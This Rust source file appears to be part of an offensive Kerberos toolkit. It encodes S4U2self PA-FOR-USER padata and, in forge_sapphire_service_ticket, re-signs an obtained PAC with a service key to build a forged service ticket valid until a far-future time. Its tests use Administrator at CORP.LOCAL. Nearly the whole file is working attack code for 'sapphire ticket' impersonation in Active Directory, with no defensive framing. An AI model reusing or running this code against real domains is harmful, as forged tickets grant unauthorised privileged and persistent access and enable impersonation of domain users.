use anyhow::{anyhow, bail, Result};
use picky_asn1::wrapper::{
Asn1SequenceOf, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2,
ExplicitContextTag3, IntegerAsn1, OctetStringAsn1, Optional,
};
use picky_asn1_der::application_tag::ApplicationTag;
use picky_krb::constants::types::{NT_PRINCIPAL, NT_SRV_INST};
use picky_krb::crypto::CipherSuite;
use picky_krb::data_types::{
AuthorizationData, AuthorizationDataInner, EncTicketPart, EncryptedData, EncryptionKey, Ticket,
TicketInner, TransitedEncoding,
};
use crate::checksum;
use crate::forge::ForgedTicket;
use crate::pac::ForgeIdentity;
use crate::util::{
far_future_time, krb_string, now_kerberos_time, principal, ETYPE_AES256, ETYPE_RC4_HMAC,
};
pub const PA_FOR_USER: i32 = 129;
pub const KEY_USAGE_S4U_CHECKSUM: i32 = 17;
pub const CKSUM_HMAC_MD5: i32 = -138;
pub fn build_pa_for_user(
target_user: &str,
target_realm: &str,
session_key: &[u8],
) -> Result<Vec<u8>> {
if target_user.is_empty() || target_realm.is_empty() {
bail!("target user and realm must be non-empty");
}
let auth_package = "Kerberos";
let s4u_bytes = s4u_checksum_bytes(
NT_PRINCIPAL as u32,
&[target_user],
target_realm,
auth_package,
);
let cksum_bytes = checksum::hmac_md5_checksum(session_key, KEY_USAGE_S4U_CHECKSUM, &s4u_bytes);
let user_name = principal_name_der(NT_PRINCIPAL as i32, &[target_user]);
let user_realm = general_string_der(target_realm);
let cksum = checksum_der(CKSUM_HMAC_MD5, &cksum_bytes);
let auth_package_der = general_string_der(auth_package);
let seq_body: Vec<u8> = [
explicit_context(0, &user_name),
explicit_context(1, &user_realm),
explicit_context(2, &cksum),
explicit_context(3, &auth_package_der),
]
.concat();
Ok(der_seq(&seq_body))
}
fn tag_len(tag: u8, contents: &[u8]) -> Vec<u8> {
let mut out = Vec::with_capacity(contents.len() + 6);
out.push(tag);
let len = contents.len();
if len < 0x80 {
out.push(len as u8);
} else {
let mut buf = [0u8; 8];
let mut n = len;
let mut i = buf.len();
while n > 0 {
i -= 1;
buf[i] = (n & 0xff) as u8;
n >>= 8;
}
let bytes = &buf[i..];
out.push(0x80 | bytes.len() as u8);
out.extend_from_slice(bytes);
}
out.extend_from_slice(contents);
out
}
fn der_seq(contents: &[u8]) -> Vec<u8> {
tag_len(0x30, contents)
}
fn der_octet(contents: &[u8]) -> Vec<u8> {
tag_len(0x04, contents)
}
fn general_string_der(s: &str) -> Vec<u8> {
tag_len(0x1B, s.as_bytes())
}
fn explicit_context(n: u8, inner_tlv: &[u8]) -> Vec<u8> {
tag_len(0xA0 | (n & 0x1F), inner_tlv)
}
fn integer_content_signed(n: i32) -> Vec<u8> {
if (-128..=127).contains(&n) {
vec![n as u8]
} else if (-32_768..=32_767).contains(&n) {
(n as i16).to_be_bytes().to_vec()
} else {
n.to_be_bytes().to_vec()
}
}
fn integer_der(n: i32) -> Vec<u8> {
tag_len(0x02, &integer_content_signed(n))
}
fn principal_name_der(name_type: i32, parts: &[&str]) -> Vec<u8> {
let strings: Vec<u8> = parts.iter().flat_map(|p| general_string_der(p)).collect();
let name_string_seq = der_seq(&strings);
let body = [
explicit_context(0, &integer_der(name_type)),
explicit_context(1, &name_string_seq),
]
.concat();
der_seq(&body)
}
fn checksum_der(cksumtype: i32, cksum: &[u8]) -> Vec<u8> {
let body = [
explicit_context(0, &integer_der(cksumtype)),
explicit_context(1, &der_octet(cksum)),
]
.concat();
der_seq(&body)
}
pub fn extract_pac_from_enc_ticket_part(etp: &EncTicketPart) -> Result<Vec<u8>> {
let auth = etp
.authorization_data
.0
.as_ref()
.ok_or_else(|| anyhow!("ticket has no authorization-data"))?;
crate::pac::extract_pac(auth)
}
pub fn forge_sapphire_service_ticket(
pac_bytes: Vec<u8>,
realm: &str,
service_key: &[u8],
sname_parts: &[&str],
sapphire_identity: &ForgeIdentity,
rc4: bool,
) -> Result<ForgedTicket> {
let realm_up = realm.to_uppercase();
let etype = if rc4 { ETYPE_RC4_HMAC } else { ETYPE_AES256 };
let resigned = crate::pac::re_sign_pac(&pac_bytes, service_key, service_key, rc4)
.map_err(|e| anyhow!("re-sign PAC for sapphire: {e}"))?;
let win2k = AuthorizationDataInner {
ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x00, 0x80])),
ad_data: ExplicitContextTag1::from(OctetStringAsn1(resigned)),
};
let inner: AuthorizationData = Asn1SequenceOf::from(vec![win2k]);
let inner_der = picky_asn1_der::to_vec(&inner).map_err(|e| anyhow!("encode PAC AD: {e}"))?;
let if_rel = AuthorizationDataInner {
ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x01])),
ad_data: ExplicitContextTag1::from(OctetStringAsn1(inner_der)),
};
let auth: AuthorizationData = Asn1SequenceOf::from(vec![if_rel]);
let mut sk = vec![0u8; if rc4 { 16 } else { 32 }];
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut sk);
let cname = principal(NT_PRINCIPAL, &[sapphire_identity.user.as_str()]);
let etp = EncTicketPart {
flags: ExplicitContextTag0::from(picky_asn1::wrapper::BitStringAsn1::from(
picky_asn1::bit_string::BitString::with_bytes(vec![0x40, 0xa1, 0x00, 0x00]),
)),
key: ExplicitContextTag1::from(EncryptionKey {
key_type: ExplicitContextTag0::from(IntegerAsn1(vec![etype])),
key_value: ExplicitContextTag1::from(OctetStringAsn1(sk.clone())),
}),
crealm: ExplicitContextTag2::from(krb_string(&realm_up)),
cname: ExplicitContextTag3::from(cname.clone()),
transited: picky_asn1::wrapper::ExplicitContextTag4::from(TransitedEncoding {
tr_type: ExplicitContextTag0::from(IntegerAsn1(vec![0])),
contents: ExplicitContextTag1::from(OctetStringAsn1(vec![])),
}),
auth_time: picky_asn1::wrapper::ExplicitContextTag5::from(now_kerberos_time()),
starttime: Optional::from(Some(picky_asn1::wrapper::ExplicitContextTag6::from(
now_kerberos_time(),
))),
endtime: picky_asn1::wrapper::ExplicitContextTag7::from(far_future_time()),
renew_till: Optional::from(Some(picky_asn1::wrapper::ExplicitContextTag8::from(
far_future_time(),
))),
caddr: Optional::from(None),
authorization_data: Optional::from(Some(picky_asn1::wrapper::ExplicitContextTag10::from(
auth,
))),
};
let etp_app: ApplicationTag<EncTicketPart, 3> = ApplicationTag(etp);
let etp_der =
picky_asn1_der::to_vec(&etp_app).map_err(|e| anyhow!("encode EncTicketPart: {e}"))?;
let enc = if rc4 {
checksum::rc4_encrypt(service_key, 2, &etp_der, None)
} else {
CipherSuite::Aes256CtsHmacSha196
.cipher()
.encrypt(service_key, 2, &etp_der)
.map_err(|e| anyhow!("encrypt EncTicketPart: {e}"))?
};
let ticket = Ticket::from(TicketInner {
tkt_vno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
realm: ExplicitContextTag1::from(krb_string(&realm_up)),
sname: ExplicitContextTag2::from(principal(NT_SRV_INST, sname_parts)),
enc_part: ExplicitContextTag3::from(EncryptedData {
etype: ExplicitContextTag0::from(IntegerAsn1(vec![etype])),
kvno: Optional::from(None),
cipher: ExplicitContextTag2::from(OctetStringAsn1(enc)),
}),
});
Ok(ForgedTicket::from_parts(ticket, sk, cname, realm_up))
}
fn s4u_checksum_bytes(
name_type: u32,
name_string: &[&str],
realm: &str,
auth_package: &str,
) -> Vec<u8> {
let mut v = Vec::new();
v.extend_from_slice(&name_type.to_le_bytes());
for s in name_string {
v.extend_from_slice(s.as_bytes());
}
v.extend_from_slice(realm.as_bytes());
v.extend_from_slice(auth_package.as_bytes());
v
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn pa_for_user_encodes_and_is_deterministic() {
let key = [0x42u8; 16];
let a = build_pa_for_user("Administrator", "CORP.LOCAL", &key).unwrap();
let b = build_pa_for_user("Administrator", "CORP.LOCAL", &key).unwrap();
assert_eq!(a, b, "same input must produce same padata bytes");
assert!(!a.is_empty());
assert_eq!(a[0], 0x30);
}
#[test]
fn pa_for_user_rejects_empty() {
assert!(build_pa_for_user("", "CORP.LOCAL", &[0u8; 16]).is_err());
assert!(build_pa_for_user("alice", "", &[0u8; 16]).is_err());
}
#[test]
fn pa_for_user_cksum_changes_with_user() {
let key = [0x42u8; 16];
let a = build_pa_for_user("Administrator", "CORP.LOCAL", &key).unwrap();
let b = build_pa_for_user("Guest", "CORP.LOCAL", &key).unwrap();
assert_ne!(a, b, "different user should change the checksum bytes");
}
}